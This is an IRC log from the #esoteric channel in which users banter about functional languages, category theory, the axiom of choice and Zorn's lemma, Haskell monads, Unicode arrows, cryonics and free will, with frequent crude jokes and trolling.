:oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hi fax < 1269691332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i has a ti 83 emulator < 1269691342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i note that it cannot handle me pressing + on the keboard < 1269691439 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello! < 1269691501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this thing is a bitch to use < 1269691602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :srsly < 1269691627 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise what category do you know < 1269691639 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i don't even think ti calculators can do symbolic stuff < 1269691643 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: category theory? < 1269691647 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1269691655 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not a lot at all. and what i do know is mostly how it works in CS < 1269691683 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I got this book called Computational Category Theory, and it implements all the stuff it talks about in SML < 1269691696 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's realy cool < 1269691702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sounds nice, apart from SML :P < 1269691715 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: The TI-89 can do some; that's why it wasn't allowed for exam-use at school. < 1269691720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pah i'm gonna make my own calculators < 1269691723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with blackjack, and hookers < 1269691729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: downloading a rom as we speak < 1269691753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if it isn't as good as a cas i don't wnat it :P < 1269691766 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It probably won't be. < 1269691770 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1269691770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :meh archive is invalid < 1269691778 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise do you catually know what SML is... < 1269691794 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: yes < 1269691802 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i just don't like it much as a language, personal taste < 1269691807 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it like one of the most important functional languages in CS historyr... < 1269691812 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, I know < 1269691817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and i respect it for its innovation < 1269691819 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1269691820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as I do Lisp 1.5 < 1269691823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but I don't like Lisp 1.5, either < 1269691824 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269691838 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :basic is pretty historically relevant too < 1269691840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd certainly choose it over the abomination that is OCaml. < 1269691850 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :maybe for slightly different reasons < 1269691855 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :whaaaaaaat < 1269691859 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :OCAML IS EVEN BETER < 1269691873 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You are of course joking. < 1269691904 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: let me explain why ocaml is awesome in one word: categorical abstact machine < 1269691912 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"fax: alise do you catually know what SML is..." <<< thought "catually" was some sort of category theory pun at first < 1269691914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Granted, that is sweet. < 1269691918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But the actual language I do not like. < 1269691932 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :who carse about 'actual language' that's for employees :P < 1269691947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahhhhhhhhhhh :P < 1269691961 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I've been trying to do cats in coq but I failed a lot < 1269691969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cat = lol cat < 1269691976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a catamorphism over the lol functor < 1269691995 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :OMG MY COQ IS FULL OF CATS < 1269692001 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269692010 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: hawt < 1269692012 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AAAANYWAY < 1269692012 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :succ it < 1269692029 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i like how i made a penis joke after alise's sophisticated category theory one < 1269692034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking about representing infinity as (\h -> h) but I'm pretty sure the basic ordinal type you do in functoinal langs is that isn't it < 1269692049 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh good fax made one too < 1269692060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, basically representing (lim k->inf e) as (\k -> e) < 1269692075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and (lim k->n e) as some sort of scaling so that infinity = n < 1269692118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :11:30:14 also I assume it was in the kitchen? As you (or I at least) never take any fluids near a computer for safety reason < 1269692120 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh come on < 1269692126 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :zorn's lemma is a pretty magical tool < 1269692128 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i love it < 1269692129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :your thinkpad has a sophisticated drainage system < 1269692138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: is zorn's lemma implied by intensional choice or just extensional? < 1269692142 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I know well-ordering is extensional < 1269692149 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't know what those terms mean < 1269692153 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :enlighten me < 1269692169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :zorns LEMMON LOL < 1269692174 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::DDDDDDDDDDDDDDDDDDDDDDDDDDD < 1269692176 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/blog/20050604T143800Z.html intensional choice lets you have ∀ a:A. ∃ b:B. R a b then ∃ f:A ⇒ B. ∀ a:A. R a (f a). < 1269692179 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :without well-ordering < 1269692195 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(intensional choice is provable in type theory, extensional isn't) < 1269692198 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :which ones of those are exists' < 1269692209 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm still blind < 1269692234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Intensional choice: < 1269692245 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If FORALL a:A. EXISTS b:B. R a b < 1269692257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then EXISTS f:(A->B). FORALL a:A. R a (f a) < 1269692273 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is provable in type theory. < 1269692276 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh right i guess it's kinda obvious what the quantifiers are based on what choice is < 1269692287 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay what's extensional < 1269692310 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this makes sense because a proof of forall is a function, and exists is a pair b & proof of R a b < 1269692312 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'll still not be able to answer because i haven't seen zorn's lemma derived from choice < 1269692326 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so you are just doing an eta switch thingy, then rewiggling the proof < 1269692336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What is stated above is the intensional axiom of choice. It is equivalent to saying that every surjective function has a right inverse. The extensional axiom of choice states that if (A, ~A) and (B, ~B) are setiods (a type and equivalence relation on that type), and R is a relation on A and B respecting the equivalence relations, then if FORALL a:A. EXISTS b:B. R a b then EXIST f:(A -> B). FORALL a:A. R a (f a). Further more f will respect the equivalen < 1269692337 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ce relations. The extensional axiom of choice is equivalent to saying that for every surjective extensional function there exists a right inverse that is also extensional. < 1269692338 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Hope this helps" < 1269692358 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what zorns lemon woudl be in type theory? < 1269692389 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :99% of the words are things that we DO NOT SPEAK OF in type theory < 1269692396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Zorn's lemma is equivalent to the well-ordering theorem and the axiom of choice, in the sense that any one of them, together with the Zermelo�Fraenkel axioms of set theory, is sufficient to prove the others < 1269692402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so zorn's lemma is extensional choice < 1269692410 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so type theory doesn't have zorn's lemma < 1269692419 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in set theory it is.. but in type theory thery may be stratified more preciesly < 1269692433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also oklopol: http://en.wikipedia.org/wiki/Zorn%27s_lemma#Sketch_of_the_proof_of_Zorn.27s_lemma_.28from_the_axiom_of_choice.29 < 1269692482 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I'm having universe inconsisency problems but the bitch aint one < 1269692509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: true < 1269692509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but "probably" < 1269692509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh fuck i ran out of mobile broadband < 1269692509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :can anyone hear me? < 1269692510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:26:03 do you program Haskell a lot? < 1269692510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:26:09 never heard of it < 1269692511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :trollaxin' < 1269692519 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;( < 1269692563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:30:40 coppro, that's not possible in haskell < 1269692563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :double trollaxin' < 1269692563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:31:02 fax: yes, it can. There's a particularly elegant solution to this problem < 1269692563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:31:07 it says 'purely functional' < 1269692563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:31:16 yes. You work on IO objects < 1269692564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:31:24 oh it's object oriented? < 1269692564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:31:25 I can do that < 1269692565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haha you fucking asshole < 1269692592 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I thought he was playing along with me but he was actually oblivious :/ < 1269692604 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :>.> < 1269692608 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it was a disastair on so many levels < 1269692623 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :infact I would go so far as to call it a disastaircase < 1269692694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:31:30 fax: you obviously know nothing about Haskell, so stop making these kinds of assertions < 1269692694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :xDD < 1269692694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:39:26 coppro [] is nondeterministic search < 1269692694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:39:43 hey, thanks, fax, you helped me make up my mind! /ignore it is! < 1269692694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is, actually. < 1269692695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So you're an idiot. < 1269692695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly I wouldn't have much confidence in fax's ability to Haskell afte rthe above. < 1269692699 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :kay so basically you just take bigger and bigger elements and have the sequence be longer than the set's size < 1269692712 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i think i can fill in the AoC details < 1269692773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :my opinion on http://tunes.org/~nef/logs/esoteric/10.03.23: you're all whiny cunts, STFU < 1269692779 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269692809 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, I _still_ don't get the "search" part of [] < 1269692823 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, uh .. you could have asked me < 1269692847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :16:37:14 oklopol: then it's no different from any other form of government, just with more paperwork < 1269692847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :apart from anarchy < 1269692860 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :s/alise/fax/ < 1269692875 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :when you take a cartesian product, you try out all the combinations. the monad lets you do with nice syntax < 1269692882 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*do this < 1269692915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :17:14:59 basically, you return an infinitely big lookup table listing what outputs should go with all possible inputs, allowing for interspersings of them < 1269692915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so you mean Input -> Output. < 1269692915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: Well, to be honest, trolling so convincingly that you don't know Haskell and /then/ making authoritative statements about Haskell Doesn't Really Work. < 1269692967 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: do a <- [a1,a2,a3] ; b <- [b1,b2] ; p a b <=> a(a1). a(a2). a(a3). b(b1). b(b2). ?- a(A), b(B), p(A,B). < 1269693016 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :is it okay that i still find big numbers scary... there was this proof about varieties that starts with us finding a sub*set* of this class that can still be arbitrarily infinite... and then we define m to be a cardinal upper bound for all those infinities, which is possible because there's only a set of them and not a class < 1269693021 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and i was like woooooah < 1269693029 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well big numbrs < 1269693031 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*numbers < 1269693033 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :more like big sets < 1269693036 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :infinity is not a number!! < 1269693037 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, too much of the math here makes me go wooosh < 1269693042 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I wish less did < 1269693054 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but there are infinite cardinals < 1269693059 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo did you read the finite calculus stuff? < 1269693060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But Sgeo jumped to conclusions and coppro did the most annoying thing ever (rubbing in /ignores) < 1269693060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stuff is coming in spurts i think i need to top up mah broadband < 1269693060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stupid costly POS < 1269693075 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :stuff coming in spurts for me too < 1269693079 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, finite calculus stuff? < 1269693082 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh wait maybe fax was joking again < 1269693084 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1269693127 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: finite calculus is when your integrals only take a finite amount of time to calculate < 1269693150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo could have asked you and you could also have explained rather than saying how stupid he is :P < 1269693150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Neutrality achieved by blaming everyone in equal amounts! < 1269693155 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :whoa huge flood < 1269693179 0 :alise!unknown@unknown.invalid QUIT :Quit: Leaving < 1269693193 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :11:32 wanna se my depedend type < 1269693194 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :11:32 sure < 1269693194 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :11:32 -!- alise [~alise___@212.183.140.51] has quit [Quit: Leaving] < 1269693195 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;_; < 1269693199 0 :alise!~alise___@212.183.140.51 JOIN :#esoteric < 1269693209 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a thing i don't like about binary LC < 1269693214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :false is more complex than true < 1269693216 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because of de bruijn < 1269693218 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i wanna see your dependent type too < 1269693226 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i didn't know humans had types < 1269693229 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's kinda racist < 1269693238 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can there be integrals that take an infinite time to calculate but don't have infinitity or neg infinity as the.. bounds [not sure of the terminology] < 1269693240 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :come to #morphism < 1269693267 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i think yes, for any sensible definition of that < 1269693296 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :say the integral from zero to zero < 1269693323 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How is that not simply 0? < 1269693443 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we'd really have to define all this < 1269693461 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i was assuming we'd use some sort of rules to find the expression to be integrated < 1269693534 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo -- this is where I learned about finite calculus www.stanford.edu/~dgleich/publications/finite-calculus.pdf < 1269693568 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you might misunderstand it as talking about something completely different from what i said, i suggest you read harder in that case < 1269693675 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wishes we could easily use notation in here
< 1269693693 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you can use those \ thingies < 1269693697 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah I wish we have proper math in IRC :( < 1269693710 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it would be so nice to be abel to type with \mathbb and \mathcal < 1269693738 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't really like most of math syntax, but what i hate even more is that most of math is in plain english < 1269693750 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: you could do that more easiersy < 1269693766 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: just have an irc client plugggin < 1269693770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that looks out for $...$ < 1269693775 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or maybe $$...$$ to reduce clashes < 1269693783 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then the rest of the nerds who know latex could just read that < 1269694188 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nerds don't exist < 1269694360 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269694593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :how come unicode doesn't have ~> < 1269694593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269694594 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is trying Elfen Lied
< 1269694594 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's a bit.. gory for my tastes < 1269694601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it would be a perfect function arrow over setoids < 1269694718 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :So ↝ doesn't quite cut it? (Admittedly it points a bit to the wrong direction.) < 1269694757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :~↝ < 1269694768 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Use the "I don't know where I'm going" arrow, ↬ < 1269694776 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :dangerous curve :P < 1269694815 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :What about ⟿ ? < 1269694825 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The "LONG RIGHTWARDS SQUIGGLE ARROW". < 1269694833 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :loks like a maggot < 1269694912 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or the WAVE ARROW POINTING DIRECTLY RIGHT, ⤳ < 1269694929 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't have that much of a wave there, at least in this font, just a hump. < 1269694942 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe they just felt that the "HUMP ARROW" didn't sound quite as good. < 1269694958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ah, ↝ would work, I suppose. < 1269694978 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :⤳ could do with a bit more of a wave, yeah. < 1269695142 0 :adam_d!~Adam@aatl101.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269695254 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1269695277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what < 1269695306 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/VKAiL.png < 1269695679 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269696005 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269696072 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :11:33:47 No, the notion that medical technology will be able to revive you. < 1269696081 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the whole premise is that non-information-theoretic death is not really death, which is true < 1269696093 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's all about tradeoffs < 1269696151 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The thing is, there are some non-monetary costs too. No autopsies, organ donation is questionable [I'm going to contact Alcor or something and ask], and worst: Do Not Resscussitate once the standby team's there < 1269696160 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i ask ya, who'd want to be revived without a soul < 1269696163 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :?? < 1269696170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Autopsies -- who cares? < 1269696188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Organ donation -- Well, cryonics is selfish in the first place: I value /my/ life < 1269696189 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol uh.. hate to break this to ya... < 1269696196 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"soul" doesn't exist < 1269696198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: o, the troller is trolled < 1269696201 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269696207 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :^ alise < 1269696212 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :or so you thought < 1269696221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sgeo: and so what about DNR?? you're only gonna be frozen if there's nothing that can be done < 1269696224 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-!- oklopol [~oklopol@a91-153-117-208.elisa-laajakaista.fi] has quit [Read error: Connection reset by getting trolled so hard] < 1269696327 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269696411 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269696513 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: people who don't have souls don't have free will because free will comes from souls by deffinition i have free will because if i want i can do whatever i want therefore i have a soul < 1269696540 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the logic is irrefutable < 1269696590 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :free will is a stupid concept from the dark ages < 1269696618 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm so fucking sick of 'atheists' who believe in stupid shit like determinism or free will < 1269696635 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no it's not see if i didn't have free will then i couldn't lift this cup unless there was DETERMINISTIC PROCESS in my brain who does it but i can do it if i want or not do it so i must have a free will < 1269696665 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol have I showed you my conscious program? < 1269696682 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :int main(void) { puts("I am conscious!"); return EXIT_SUCCESS; } < 1269696686 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean maybe you don't have free will because you're a ignorance person but i do i'm a thinker logician < 1269696693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: you are such a fucking idiot < 1269696698 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol is trolling you so obviously < 1269696704 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise your the idiot < 1269696710 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise.... TWICE < 1269696713 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269696714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*you're/ < 1269696716 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*you're. < 1269696721 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :*you're < 1269696726 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: no in fact she's trolling *you* < 1269696730 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1269696734 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :maybe you were both trolling me < 1269696742 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :this is getting too complicated < 1269696746 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :maybe nobody is trolling anyone < 1269696754 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :my soul can't take this complicatedness < 1269696755 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and we're all secretly serious but wont admit it < 1269696809 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i find most of the crazy theories sensible, i think i could seriously believe any of them, but belief is pretty irrelevant < 1269696819 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what crazy theories?? < 1269696835 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :soul, finitism, infinite sets, that reality exists, etc < 1269696886 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i prefer to go with the flow and believe what others seem to < 1269696919 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :another thing is people who hide behind the guise of 'formalism' to attack REAL philosophies < 1269696947 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I guess I know how people who thing being bisexual is 'cheating' feel < 1269696963 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1269696977 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :can you elaborate on the analogy, i'm sort of slow < 1269696980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i love people who criticise bisexuality in that way, it's hilarious < 1269696985 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this is sex. there are _RULES!_ < 1269697026 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :bisexuality makes you twice more sexable, wanking makes you infinitely sexable < 1269697034 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :whoa < 1269697125 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, people who pretend to be formalists.. but then they attack platonism or whatever. It's like "way to be a formalist" .. < 1269697304 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :kind of like people who think they can program in every language but in honesty what they do is pretend they're using the IO monad in haskell or whatever < 1269697329 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: is there a ≈> arrow, maybe? < 1269697330 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and they think of state as being some "object" that is implicitly passed around < 1269697330 0 :alise!unknown@unknown.invalid 